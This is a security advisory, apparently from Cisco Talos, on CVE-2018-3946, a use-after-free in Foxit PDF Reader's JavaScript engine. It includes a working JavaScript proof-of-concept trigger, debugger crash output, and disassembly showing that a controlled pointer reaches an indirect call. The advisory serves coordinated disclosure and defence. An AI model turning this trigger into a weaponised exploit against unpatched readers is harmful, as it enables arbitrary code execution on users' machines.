CVE-2018-3946
An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s PDF Reader version 9.1.0.5096. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.
Foxit Software Foxit PDF Reader 9.1.0.5096.
https://www.foxitsoftware.com/products/pdf-reader/
8.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
CWE-416: Use After Free
Foxit PDF Reader is one of the most popular PDF document readers, and has a large user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.
When executing embedded JavaScript code, a document can be closed, which essentially frees a lot of used objects, but the JavaScript can continue to execute. Invoking a method which keeps a stale reference to a now-freed object can lead to a use-after-free condition, which can be abused to execute arbitrary code.
This particular vulnerability lies in invoking the getPageNthWord method of the active document, which can trigger a use-after-free condition called with specially crafted arguments like in the following code:
var b = {}
function main() {
b.toString = c;
app.activeDocs[0].getPageNthWord(0,b);
}
function c() {
app.activeDocs[0].closeDoc();
}
main();
In the above code, we craft an object b with overloaded toString method to call function c. Then we invoke the getPageNthWord method. While accessing the arguments, getPageNthWord will expect its second argument to be of type string and will call the object’s toString method. In this case, that will execute function c which closes the current document. Closing the document frees a number of objects, and then when the execution returns to the rest of getPageNthWord method, a stale pointer is reused leading to use-after-free.
Opening this proof-of-concept PDF document in Foxit Reader with PageHeap enabled results in the following crash:
(160.f9c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=80000000 ebx=002ee7a0 ecx=0ea24da8 edx=00000056 esi=122e0ef0 edi=00000002
eip=0182c1e9 esp=002ee624 ebp=002ee720 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
FoxitReader!CryptVerifyMessageSignature+0x84939:
0182c1e9 8b11 mov edx,dword ptr [ecx] ds:0023:0ea24da8=????????
0:000> !heap -p -a ecx
address 0ea24da8 found in
_DPH_HEAP_ROOT @ 7621000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
ea31c64: ea24000 2000
68e190b2 verifier!AVrfDebugPageHeapFree+0x000000c2
774969cc ntdll!RtlDebugFreeHeap+0x0000002f
77459e07 ntdll!RtlpFreeHeap+0x0000005d
774263a6 ntdll!RtlFreeHeap+0x00000142
7565c614 kernel32!HeapFree+0x00000014
02c4df1b FoxitReader!CryptVerifyMessageSignature+0x014a666b
011408bf FoxitReader+0x000d08bf
011428a8 FoxitReader+0x000d28a8
0128965e FoxitReader+0x0021965e
0128942b FoxitReader+0x0021942b
0129842a FoxitReader+0x0022842a
01282fd7 FoxitReader+0x00212fd7
01282df8 FoxitReader+0x00212df8
02aa51ec FoxitReader!CryptVerifyMessageSignature+0x012fd93c
02aa90ef FoxitReader!CryptVerifyMessageSignature+0x0130183f
02aa917e FoxitReader!CryptVerifyMessageSignature+0x013018ce
7724c4b7 USER32!InternalCallWinProc+0x00000023
7724c5b7 USER32!UserCallWinProcCheckWow+0x0000014b
77245264 USER32!SendMessageWorker+0x000004d0
77245552 USER32!SendMessageW+0x0000007c
012809f5 FoxitReader+0x002109f5
02aaae65 FoxitReader!CryptVerifyMessageSignature+0x013035b5
02aa51ec FoxitReader!CryptVerifyMessageSignature+0x012fd93c
02aa90ef FoxitReader!CryptVerifyMessageSignature+0x0130183f
02aa917e FoxitReader!CryptVerifyMessageSignature+0x013018ce
7724c4b7 USER32!InternalCallWinProc+0x00000023
7724c5b7 USER32!UserCallWinProcCheckWow+0x0000014b
77245264 USER32!SendMessageWorker+0x000004d0
77245552 USER32!SendMessageW+0x0000007c
011abee7 FoxitReader+0x0013bee7
0181373e FoxitReader!CryptVerifyMessageSignature+0x0006be8e
018219e9 FoxitReader!CryptVerifyMessageSignature+0x0007a139
0:000> k 5
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 002ee720 01834099 FoxitReader!CryptVerifyMessageSignature+0x84939
01 002ee77c 013f1578 FoxitReader!CryptVerifyMessageSignature+0x8c7e9
02 002ee7c4 028f9b2e FoxitReader+0x381578
03 002ee7f8 028f1946 FoxitReader!CryptVerifyMessageSignature+0x115227e
04 002ee860 028f3cf3 FoxitReader!CryptVerifyMessageSignature+0x114a096
Analyzing the heap state clearly shows that ecx points into an unallocated freed memory region. If we examine the next few instructions we can see the following:
0:000> u
FoxitReader!CryptVerifyMessageSignature+0x84939:
0182c1e9 8b11 mov edx,dword ptr [ecx]
0182c1eb 8b4204 mov eax,dword ptr [edx+4]
0182c1ee ffd0 call eax
0182c1f0 8bf8 mov edi,eax
0182c1f2 85ff test edi,edi
0182c1f4 0f8434010000 je FoxitReader!CryptVerifyMessageSignature+0x84a7e
(0182c32e)
0182c1fa 8b5de0 mov ebx,dword ptr [ebp-20h]
0182c1fd 85db test ebx,ebx
We can observe from the above listing that twice-dereferenced address from ecx, through edx+0x4 ends up in eax which is then used an operand to call instruction. This makes this vulnerability easy to exploit, since we can control the contents of ecx.
2018-06-05 - Vendor Disclosure
2018-09-28 - Vendor Patched
2018-10-01 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.